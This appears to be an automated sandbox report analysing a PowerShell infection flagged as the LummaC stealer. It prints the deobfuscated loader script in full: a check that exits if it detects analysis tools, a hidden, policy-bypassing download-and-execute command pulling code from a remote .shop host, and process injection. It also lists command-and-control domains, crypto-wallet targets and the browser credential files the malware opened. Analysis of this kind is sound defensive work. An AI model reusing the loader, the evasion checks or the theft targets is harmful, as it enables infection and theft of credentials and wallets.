Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FUNCTION CHECKPROCESS ($A){IF (GWMI WIN32_PROCESS \| WHERE {$_.NAME -EQ $A}){EXIT}};FUNCTION CHECKNAME($A){IF($A -EQ $ENV:USERNAME){EXIT}};$A1 = "IDAQ.EXE","IDAQ64.EXE","AUTORUNS.EXE","DUMPCAP.EXE","DE4DOT.EXE","HOOKEXPLORER.EXE","ILSPY.EXE","LORDPE.EXE","DNSPY.EXE","PETOOLS.EXE","AUTORUNSC.EXE","RESOURCEHACKER.EXE","FILEMON.EXE","REGMON.EXE","PROCEXP.EXE","PROCEXP64.EXE","TCPVIEW.EXE","TCPVIEW64.EXE","PROCMON.EXE","PROCMON64.EXE","VMMAP.EXE""VMMAP64.EXE","PORTMON.EXE","PROCESSLASSO.EXE","WIRESHARK.EXE","FIDDLER EVERYWHERE.EXE","FIDDLER.EXE","IDA.EXE","IDA64.EXE","IMMUNITYDEBUGGER.EXE","WINDUMP.EXE","X64DBG.EXE","X32DBG.EXE","OLLYDBG.EXE","PROCESSHACKER.EXE";$A2 = "ANONYMOUS", "ANDY","COMPUTERNAME","CUCKOO","NMSDBOX","XXXX-OX","CWSX","WILBERT-SC","XPAMAST-SC""SANDBOX","7SILVIA","HAL9TH","HANSPETER-PC","JOHN-PC","MUELLER-PC","WIN7-TRAPS","FORTINET","TEQUILABOOMBOOM";FOREACH ($I IN $A1 ){CHECKPROCESS($I);}FOREACH($I IN $A2 ){CHECKNAME($I);};START-PROCESS -FILEPATH "C:\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE" -ARGUMENTLIST "-NOPROFILE -EXECUTIONPOLICY BYPASS -COMMAND & {IEX ((NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTPS://CDN1.KLIPBAZYXUI.SHOP/SINGL5.CSX'))}" -WINDOWSTYLE HIDDEN;$BXAK = $ENV:APPDATA;FUNCTION HLVO($YMAS, $LPJV){[IO.FILE]::WRITEALLBYTES($LPJV, (NEW-OBJECT (STNMR $QJXMK.SUBSTRING(103,26))).DOWNLOADDATA($YMAS))};FUNCTION STNMR($THTBI){RETURN (($THTBI -SPLIT '(?<=\G..)'\|%{$QJXMK.SUBSTRING(3,100)[$_]}) -JOIN '' -REPLACE ".$")}FUNCTION THTBI(){FUNCTION SNDA($BXON){IF(!(TEST-PATH -PATH $LPJV)){HLVO (STNMR $BXON) $LPJV}}}THTBI;
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: IEX.SDG~%NZIZMMQSQVPX_A@A9CRNKT6J4M21LTKS7D0Q/FH8PP(JEOB#D.OEIJU"8P1_;:EYCB5H*-F%Y1\)LD1RO}3{V/IGWUXNZW06572700996852233492682527FUNCTION CHECKPROCESS ($A){IF (GWMI WIN32_PROCESS \| WHERE {$_.NAME -EQ $A}){EXIT}};FUNCTION CHECKNAME($A){IF($A -EQ $ENV:USERNAME){EXIT}};$A1 = "IDAQ.EXE","IDAQ64.EXE","AUTORUNS.EXE","DUMPCAP.EXE","DE4DOT.EXE","HOOKEXPLORER.EXE","ILSPY.EXE","LORDPE.EXE","DNSPY.EXE","PETOOLS.EXE","AUTORUNSC.EXE","RESOURCEHACKER.EXE","FILEMON.EXE","REGMON.EXE","PROCEXP.EXE","PROCEXP64.EXE","TCPVIEW.EXE","TCPVIEW64.EXE","PROCMON.EXE","PROCMON64.EXE","VMMAP.EXE""VMMAP64.EXE","PORTMON.EXE","PROCESSLASSO.EXE","WIRESHARK.EXE","FIDDLER EVERYWHERE.EXE","FIDDLER.EXE","IDA.EXE","IDA64.EXE","IMMUNITYDEBUGGER.EXE","WINDUMP.EXE","X64DBG.EXE","X32DBG.EXE","OLLYDBG.EXE","PROCESSHACKER.EXE";$A2 = "ANONYMOUS", "ANDY","COMPUTERNAME","CUCKOO","NMSDBOX","XXXX-OX","CWSX","WILBERT-SC","XPAMAST-SC""SANDBOX","7SILVIA","HAL9TH","HANSPETER-PC","JOHN-PC","MUELLER-PC","WIN7-TRAPS","FORTINET","TEQUILABOOMBOOM";FOREACH ($I IN $A1 ){CHECKPROCESS($I);}FOREACH($I IN $A2 ){CHECKNAME($I);};START-PROCESS -FILEPATH "C:\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE" -ARGUMENTLIST "-NOPROFILE -EXECUTIONPOLICY BYPASS -COMMAND & {IEX ((NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTPS://CDN1.KLIPBAZYXUI.SHOP/SINGL5.CSX'))}" -WINDOWSTYLE HIDDEN;$BXAK = $ENV:APPDATA;FUNCTION HLVO($YMAS, $LPJV){[IO.FILE]::WRITEALLBYTES($LPJV, (NEW-OBJECT (STNMR $QJXMK.SUBSTRING(103,26))).DOWNLOADDATA($YMAS))};FUNCTION STNMR($THTBI){RETURN (($THTBI -SPLIT '(?<=\G..)'\|%{$QJXMK.SUBSTRING(3,100)[$_]}) -JOIN '' -REPLACE ".$")}FUNCTION THTBI(){FUNCTION SNDA($BXON){IF(!(TEST-PATH -PATH $LPJV)){HLVO (STNMR $BXON) $LPJV}}}THTBI;P
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5322	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4231	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4014	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5795	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6380	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_06D02A60 GetSystemInfo,

2_2_06D02A60

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000008.00000002.2634338427.0000000003095000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQ
Source: powershell.exe, 00000008.00000002.2633114961.000000000305C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2634338427.0000000003095000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.2616078952.0000000007243000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllA

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

API call chain: ExitProcess graph end node

graph_8-14624

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_0043E110 LdrInitializeThunk,

8_2_0043E110

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7432.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_7792.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7792, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))}

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: powershell.exe	String found in binary or memory: hummskitnj.buzz
Source: powershell.exe	String found in binary or memory: cashfuzysao.buzz
Source: powershell.exe	String found in binary or memory: appliacnesot.buzz
Source: powershell.exe	String found in binary or memory: screwamusresz.buzz
Source: powershell.exe	String found in binary or memory: inherineau.buzz
Source: powershell.exe	String found in binary or memory: scentniej.buzz
Source: powershell.exe	String found in binary or memory: rebuildeso.buzz
Source: powershell.exe	String found in binary or memory: prisonyfork.buzz
Source: powershell.exe	String found in binary or memory: advicebedsu.click

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))}			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tcpview.exe
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Wireshark.exe
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lordpe.exe
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: powershell.exe, 00000008.00000002.2634338427.0000000003095000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Procmon.exe
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: autoruns.exe
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: regmon.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 00000008.00000002.2635830173.00000000030E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: allets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":"W
Source: powershell.exe, 00000008.00000002.2635830173.00000000030E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,"d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash"
Source: powershell.exe, 00000008.00000002.2635830173.00000000030E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi,
Source: powershell.exe, 00000008.00000002.2634338427.0000000003095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: powershell.exe, 00000008.00000002.2633114961.0000000003066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3-
Source: powershell.exe, 00000008.00000002.2634338427.0000000003095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: powershell.exe, 00000000.00000002.1827046055.00007FFD9B9A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
